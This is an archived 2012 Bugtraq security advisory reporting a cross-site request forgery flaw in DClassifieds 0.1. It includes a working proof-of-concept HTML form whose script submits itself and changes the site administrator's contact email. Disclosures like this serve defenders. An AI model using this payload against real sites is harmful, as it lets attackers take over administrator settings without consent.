bugtraq - CSRF (Cross-Site Request Forgery) in DClassifieds

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <20120125133812.156A42C4048E@htbridge.ch>
Date: Wed, 25 Jan 2012 14:38:12 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: CSRF (Cross-Site Request Forgery) in DClassifieds

Advisory ID: HTB23067
Reference: https://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_dclassifieds.html
Product: DClassifieds
Vendor: www.dclassifieds.eu ( http://www.dclassifieds.eu/ ) 
Vulnerable Version: 0.1 final and probably prior
Tested Version: 0.1 final
Vendor Notification: 04 January 2012 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk Level: Low 
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ ) 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in DClassifieds, which can be exploited to perform Сross-Site Request Rorgery (CSRF) attacks.

The application allows authorized users to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to change administrator's password or email.

An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.

This PoC code will change administrator's email: 

<form action="http://[host]/admin/settings/update/id/4" method="post">
<input type="hidden" name="Settings[setting_name]" value="CONTACT_EMAIL">
<input type="hidden" name="Settings[setting_value]" value="hacker@...l.com">
<input type="hidden" name="Settings[setting_description]" value="Contact email">
<input type="hidden" name="Settings[setting_show_in_admin]" value="1">
<input type="hidden" name="yt0" value="Save">
<input type="submit" id="btn"> 
</form>
<script>
document.getElementById('btn').click();
</script>

Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.